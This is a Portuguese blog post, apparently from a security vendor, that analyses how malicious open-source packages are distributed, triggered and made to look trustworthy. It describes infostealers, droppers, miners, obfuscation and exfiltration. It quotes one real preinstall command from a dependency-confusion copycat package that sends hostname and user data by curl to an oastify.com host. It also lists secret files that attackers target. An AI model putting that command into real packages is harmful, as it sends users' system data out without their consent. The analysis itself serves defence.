No episódio anterior, Pacotes maliciosos de código aberto: o problema, discutimos por que os atores da ameaça eram tão entusiasmado com a publicação de novos componentes maliciosos ou a injeção de malware nas versões mais recentes de componentes existentes: a infraestrutura de código aberto permite que qualquer pessoa em qualquer lugar crie uma conta efêmera em um registro de componentes (como NPM, PyPI, Docker Hub ou Visual Studio Marketplace) ou plataforma de desenvolvimento colaborativo (como GitHub). Custo zero e muitas oportunidades para aproveitar o excesso de confiança que as equipes de software tradicionalmente depositam em componentes de terceiros.
A assimetria entre o quão fácil é para os invasores distribuírem malware usando a infraestrutura disponível para código aberto e o quão difícil é para as organizações que desenvolvem software (todos?) evitar serem infectadas por malware (e entregar malware no software para o qual distribuem). outros), levou à marca de um quarto de milhão de pacotes maliciosos quase alcançada no ano passado.
Este é um problema de tal magnitude que nenhuma organização pode resolvê-lo, e a comunidade está no processo de reformulação do processo de código aberto no que diz respeito à confiança, aos princípios de segurança por padrão e de segurança desde o design e ao ciclo de vida dos componentes. Veremos essas ideias no próximo episódio Proteção contra pacotes maliciosos de código aberto: o que (não) funciona.
Lembre-se que estamos falando de componentes de software que na maioria das vezes correspondem a pacotes de software: componentes reutilizáveis compactados para que possam ser referenciados como uma dependência em um manifesto de software e instalados com um gerenciador de pacotes ou ferramenta de construção. Observe que este caso pode ser expandido para incluir imagens de contêiner (usado por tempos de execução de contêineres e plataformas de orquestração como Kubernetes) e extensões para ferramentas de software (para construção, automação e implantação).
Aqui analisamos como isso tática de ataque baseada em componentes maliciosos funciona, de acordo com exemplos anteriores e com o que vimos em nossa plataforma de Malware Early Warning (MEW). Dissecaremos componentes maliciosos em diferentes dimensões:
(1) a forma escolhida para distribuição (registro utilizado, em um componente novo ou existente, e a técnica utilizada para infectar a versão publicada do componente), (2) como o malware é ativado ou acionado, (3) o comportamento malicioso, ou seja, quais ações prejudiciais são observadas e qual a motivação do invasor, (4) quais técnicas são comuns para ofuscação, ocultação para passar despercebido, movimento lateral, comunicação com hosts de comando e controle (C2), etc.; e (5) as técnicas para ganhar popularidade e confiança suficientes para que as vítimas acabem instalando o componente.
O mecanismo de distribuição escolhido
Observamos um “barulho de fundo”de pacotes maliciosos não sofisticados que usam typosquatting para atacar desenvolvedores incautos com um erro de digitação no nome do pacote para sua dependência. Muitos pacotes populares recebem uma enxurrada de pacotes com nomes semelhantes e com erros de digitação, na expectativa de que eles façam phishing em alguns desenvolvedores incautos.
Eles usam uma conta efêmera, publicam um grupo de pacotes typosquat, criam outro e publicam outro grupo… Usando alguma automação e engenhosidade eles podem obter alguma sofisticação, mas normalmente são bastante triviais. Nós os chamamos internamente de “anchovas”. O roubo de credenciais é o objetivo principal, mas ocasionalmente encontramos spyware exfiltrando código-fonte ou dados confidenciais, como informações de identificação pessoal (PII), captura de área de transferência e outras dúvidas.
Surgindo do nada vemos componentes maliciosos mais sofisticados, os “tubarões”. Uma minoria é direcionada a grupos ou organizações específicas, normalmente com cripto drenadores ou web skimmers que são ativados condicionalmente, talvez seguindo a abordagem vista no incidente de fluxo de eventos de descriptografar a carga de ataque somente quando o pacote é referenciado a partir de um pacote de destino.
O mecanismo de distribuição foi analisado no excelente e agora clássico artigo, “Coleção de facas do Backstabber: uma revisão dos ataques à cadeia de suprimentos de software de código aberto”, que é uma leitura obrigatória. Certamente você já viu este belo gráfico antes:
Todos os caminhos foram explorados, incluindo pacotes novos e existentes; afetando o código-fonte, o sistema de compilação ou o próprio componente empacotado; usando credenciais roubadas ou engenharia social; sequestrar contas e repositórios abandonados ou envenenar os mantidos. Alguns ataques receberam nomes (Typosquatting, Confusão de Dependência, Confusão Manifesta, Repo-jacking. etc.) e já foram discutidos em outro lugar.
E os registros escolhidos?
O NPM continua liderando o número total de pacotes maliciosos, mas vimos um aumento a partir deste ano no PyPI. Python é um ecossistema popular para ciência de dados e aprendizado de máquina. Na verdade, a densidade do malware é agora maior no PyPI do que no NPM.
Como o malware é acionado
Pacotes maliciosos são acionados durante a instalação em apenas 4 em cada 10 casos (nos últimos anos foi perto de 6 em cada 10). O restante executa comportamento malicioso em tempo de execução, com 1 em cada 100 acionado durante a execução de testes. Os adversários parecem saber que a execução descontrolada de scripts de instalação foi desativada em muitos lugares.
O que os bandidos estão ganhando?
Listaremos as categorias de comportamento malicioso, com as mais populares primeiro. Observe que o impacto pode ser bem diferente: uma limpador é teimosamente destrutivo, mas não é comum e foi visto apenas em alguns casos, relacionados com campanhas direcionadas de guerra cibernética ou hacktivismo brutal. As seguintes categorias são bastante comuns:
- InfoStealer / Drenador de credenciais. De longe os mais frequentes, mais de 90% dos ataques não sofisticados são simples ladrões que procuram principalmente credenciais como senhas, tokens de acesso, chaves de API e chaves privadas (para SSH e similares). É provavelmente o mais simples de escrever (junto com os limpadores?). Eles enumeram arquivos/diretórios conhecidos e outras fontes (por exemplo, chaves de registro), empacotam o conteúdo e enviam esses dados para um servidor C2. A ideia é simples: “Eu publico um ladrão de credenciais de phishing, para depois poder usar as credenciais para lançar um ataque direcionado”.
A rede C2 observada é tipicamente barata e suja, como canais Telegram ou ferramentas de tunelamento do tipo ngrok (geralmente na forma de proxies reversos expostos através de IPs de saída VPN). Existem centenas (!) de possibilidades, com muitos projetos GitHub sob o tópico sobre ladrão de senhas. Especializações como keyloggers são raras para pacotes maliciosos e imagens de contêineres, mas são mais frequentes em extensões de ferramentas, onde a interação do usuário é esperada.
- Conta-gotas / Downloader. O segundo em popularidade, normalmente chegando em primeiro lugar em ataques em vários estágios. Mais de um em cada três componentes maliciosos possui droppers (se a carga maliciosa estiver incluída no pacote) ou downloaders (a carga é baixada de um endpoint sob o controle do invasor). A carga útil costuma ser uma variante de malware binário conhecida e é executada e, às vezes, persistida, para instalação de backdoors, spyware, drenadores de criptografia e outros casos de uso. A carga baixada ou implantada inicia um ataque de segunda fase com todo o poder fornecido pelos binários de malware existentes. Os binários podem ser distribuídos dentro do pacote, muitas vezes mascarados como imagens ou tipos de arquivos supostamente inócuos, para evitar a detecção durante a conexão a sites inesperados.
- Ladrões/mineradores de criptomoedas. Adversários motivados financeiramente estão dispostos a usar seus ativos em nuvem para executar criptomineradores (eles até detectam se estão sendo executados em uma VM em nuvem). Eles não se importam com o índice de baixo lucro de US$ 1 para cada US$ 53 cobrados da vítima pela infraestrutura de nuvem roubada. As vítimas podem não saber disso até receberem uma fatura inesperada. Felizmente, isso vai e vem. Criptojacking campanhas em pacotes maliciosos ocasionalmente aparecem e depois desaparecem, fazendo phishing para usuários de carteiras ou eventualmente visando o provedor da carteira, como no Ataque de livro-razão.
Outros comportamentos, como implantar um Porta dos fundos a execução remota de código abrindo um shell reverso é menos frequente agora do que no passado. Por exemplo, o 123rf_contributor_web pacote (agora removido do registro) abre sem qualquer ofuscação, um shell reverso copiado e colado do Folha de dicas do Shell reverso:
Além de componentes legítimos e maliciosos, observamos vários abusos, incluindo:
Pacotes de spam
Existem milhares de pequenos pacotes, a maioria em NPM, sem malware, mas prometendo ganhos fáceis, óleo de cobra, links para ofertas de Viagra e tudo mais. Alguns usuários publicam esse tipo de spam e consomem muita largura de banda do registro. Outro(s) interveniente(s) possivelmente da Indonésia tentaram extrair benefícios através abusando do teaRank destinado a compensar desenvolvedores de código aberto, criando dezenas de milhares de pacotes NPM inter-relacionados com repositórios fictícios GitHub relacionados. Esta é uma clara violação dos termos de uso.
Recompensas de bugs e fraudes em pesquisas de segurança
Quando um pacote se descreve como exfiltrando dados para bons propósitos, como detectar falhas de segurança em programas de recompensa de bugs ou pesquisar certos aspectos do ecossistema. Vimos milhares de pacotes nesta categoria, que buscam identificação, mas não dados muito confidenciais, para um endereço do Burp Collaborator do PortSwigger (por exemplo, host no domínio oastify.com). Observamos frequentemente imitadores do Confusão de Dependência prova de conceito de Alex Birsan, como o aurora-webmail-pro pacote (removido do registro), que simplesmente executa este código desagradável no script de pré-instalação:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
E também incluiu um “Esta é uma prova de conceito de ataque de confusão de dependência simples” descrição da isenção de responsabilidade no package.json. Esta é uma clara violação dos termos de serviço, mesmo sem intenção maliciosa.
Algumas boas notícias? Não vimos (ainda) ataques de ransomware realizados por meio de componentes maliciosos. Por razões desconhecidas, os cibercriminosos parecem preferir mecanismos mais tradicionais de phishing por e-mail, baseados em RDP e de entrega de download drive-by.
Técnicas Adicionais Observadas
Muitas técnicas foram usadas para persistência, evasão de defesa, coleta de informações, comunicação com hosts de comando e controle e exfiltração.
Persistência em componentes maliciosos é obtido usando os recursos de persistência em um malware binário de segundo estágio, mas às vezes o comportamento está localizado no código do pacote, sendo tarefas agendadas e alterações no registro do Windows as mais comuns.
Ofuscação é comum, mas pouco sofisticado. A maioria dos pacotes de typosquatting (lembre-se do “anchovas”?) não use ofuscação; muitos usam os triviais (codificação base64/hex ou cifras de substituição como rot13) ou usam ofuscadores e minificação de código disponíveis, que são facilmente revertidos com as ferramentas certas. Somente os “tubarões” fazem engenharia real, pesada, ofuscante e difícil de fazer engenharia reversa.
A ofuscação pode ocultar o ataque, mas por que o código de um componente de código aberto precisaria ser ofuscado? Há evidências de que algo precisa ser escondido da vista de todos? Encontramos muitos casos de pacotes não maliciosos que usam ofuscação para proteger a propriedade intelectual, o que é contraditório ao “código aberto”. A ofuscação pode ser usada como evidência de malware, mas não é conclusiva. Também é difícil desofuscar.
Evasion dos controles de defesa adota técnicas simples. O código malicioso é frequentemente protegido em tente ... pegue blocos que ignoram quaisquer exceções, portanto, atividades anormais não são mostradas nos logs. A verificação do ambiente (em execução em uma VM ou contêiner) é rara, a menos que seja para malware direcionado a uma organização ou ambiente específico.
Mascarar binários em imagens e arquivos PDF (uma espécie de esteganografia) foi outra técnica que evitava a detecção.
Como os componentes maliciosos mais comuns são os infostealers, coleta de dados é essencial. Segredos (senhas, tokens de acesso, chaves de API, chaves criptográficas) são verificados rotineiramente em arquivos de log, variáveis de ambiente e até mesmo na área de transferência (vistos com trojans bancários e ladrões de criptografia). A exfiltração do código-fonte também é comum, já que a instalação do pacote geralmente é feita em um nó de desenvolvimento onde os repositórios git internos podem ser clonados. Vimos pacotes enumerando diretórios em busca de repositórios git. Procurar locais como .env, private.pem, settings.py, app.js ou application.properties é bastante comum.
A exfiltração é outra ação amplamente implantada. Apenas uma minoria de pacotes maliciosos tenta ocultar o destino dos dados extraídos. Canais de telegrama e túneis tipo ngrok são frequentemente usados. E há muitos domínios normalmente incluídos na lista de permissões usados para exfiltração.
Outras técnicas, como a escalada de privilégios ou o movimento lateral, eram menos comuns.
Ganhando popularidade e confiança
Imagine um bandido tecnológico com uma coisa maliciosa e assassina pronta se perguntando: “Como faço para fazer esse pedaço de merda! confiável para aqueles idiotas desavisados?“.
Isso se traduz em como fazer com que a entrada do componente malicioso mostre muitas estrelas/bifurcações (para popularidade), além de versões/problemas e pull requests (para atividade). A ideia é ganhar popularidade fictícia (estrelas) e dependentes, e um olhar convincente quanto à relevância e manutenção.
O registro não verifica se o conteúdo de um projeto GitHub e o conteúdo do pacote correspondem. Este é um problema bem conhecido na cadeia de fornecimento de software. Os registros públicos são buracos gigantes que engolem tudo que lhes é jogado. Você pode vincular qualquer repositório.
Se o pacote malicioso for um pacote popular, isso é fácil: basta fazer referência ao repositório GitHub existente no manifesto de dependências usado para criar o pacote e publicá-lo no registro. Para novos pacotes em um repositório falso do GitHub, você pode precisar de mais engenhosidade, talvez criando pacotes falsos. observação de estrelas/bifurcação Contas GitHub via script.
E se o conteúdo do seu pacote for razoavelmente semelhante ao do repositório, faça algumas alterações bem projetadas aqui e ali… Você pode injetar seu malware em um novo pacote semelhante a um pacote popular, referenciando o repositório existente e aguardar os erros de digitação . Se alguém se atrever a comparar o conteúdo do pacote tarball com o conteúdo do repositório GitHub, as diferenças nos pontos de injeção de malware poderão facilmente passar despercebidas. Já vimos essa abordagem muitas vezes antes.
Um mecanismo para um componente fazer uma declaração infalsificável sobre a proveniência, como o pacote foi construído, de quais fontes e por quem seria bem-vindo. Mas isso é outra história.
O componente X é malware?
Existe um banco de dados (abrangente) de pacotes maliciosos? Não. As vulnerabilidades de código aberto têm um ID CVE atribuído, mas apenas alguns pacotes maliciosos (particularmente aqueles que aparecem nas manchetes) recebem um. O CWE para pacotes maliciosos é CWE-506 (código malicioso incorporado).
As ferramentas habituais de malware (VirusTotal, MalwareBazaar, SOREL-20M…) não fazem provisões específicas para componentes maliciosos. Isso seria bem-vindo!
Existem bancos de dados de amostras de pesquisa e conjuntos de dados para análise (usamos alguns deles), mas as entradas são atualizadas apenas quando o pacote malicioso é conhecido, o que geralmente é tarde demais. Se você estiver interessado, o OpenSSF Pacotes Maliciosos é um bom começo.
No próximo post discutiremos como saber se um determinado pacote é malicioso. Spoiler: sim, existem maneiras de verificar componentes maliciosos no início da janela de exposição, antes que o registro remova um componente malicioso conhecido.
Outras leituras
No próximo episódio “Proteção contra pacotes maliciosos de código aberto: o que (não) funciona" discutiremos o que fazer e o que não fazer na segurança de código aberto. A maioria dos profissionais preocupados com a segurança tem intuições sobre como lidar com essa ameaça, mas abundam os equívocos.
Analisaremos por que estas ideias estão erradas e como tais conceitos errados estão a contribuir para a popularidade deste mecanismo de ataque e para o risco esmagador que as organizações enfrentam. Continuaremos então com o que funciona e quais são os esforços e recursos envolvidos.
Além disso, postaremos sobre a evolução dos pacotes maliciosos em termos de intenção, mecanismo de injeção e técnicas de ataque.
Esteja atento





